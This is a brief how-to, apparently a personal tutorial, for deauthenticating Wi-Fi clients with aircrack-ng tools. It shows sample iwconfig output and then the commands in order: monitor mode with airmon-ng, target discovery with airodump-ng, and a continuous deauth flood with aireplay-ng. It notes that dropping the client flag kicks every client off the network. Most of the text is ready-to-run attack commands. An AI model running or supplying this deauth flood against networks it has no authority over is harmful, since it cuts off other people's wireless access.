The code will deauth a single client on a wifi net.
Replace SSID and password with you own. Also change the MAC addresses.
You will need to find the BSSID MAC of your access point and the MAC of your client.
Note what mode your wlan is in:
iwconfig
Ie.:
wlan0 IEEE 802.11 ESSID:"INDIGO"
Mode:Managed Frequency:5.24 GHz Access Point: 78:D2:94:44:D2:2C
Bit Rate=200 Mb/s Tx-Power=31 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Link Quality=58/70 Signal level=-52 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
To put wifi nic into monitor mode: sudo airmon-ng start wlan0
To show who is on the network: sudo airodump-ng wlan0mon
To monitor a specific client:
-d is destination target
-c is channel number (found from using the airdump-ng command above)
sudo airodump-ng -d 7E:D2:94:44:BA:28 -c 8 wlan0mon
To deuth a client : -0 means deauth -a and mac is teh AP -c and mac is the client we want to deauth (leave this out to kick all clients off
sudo aireplay-ng -0 0 -a 7E:D2:94:44:BA:28 -c 44:4f:8E:9A:FF:8A wlan0mon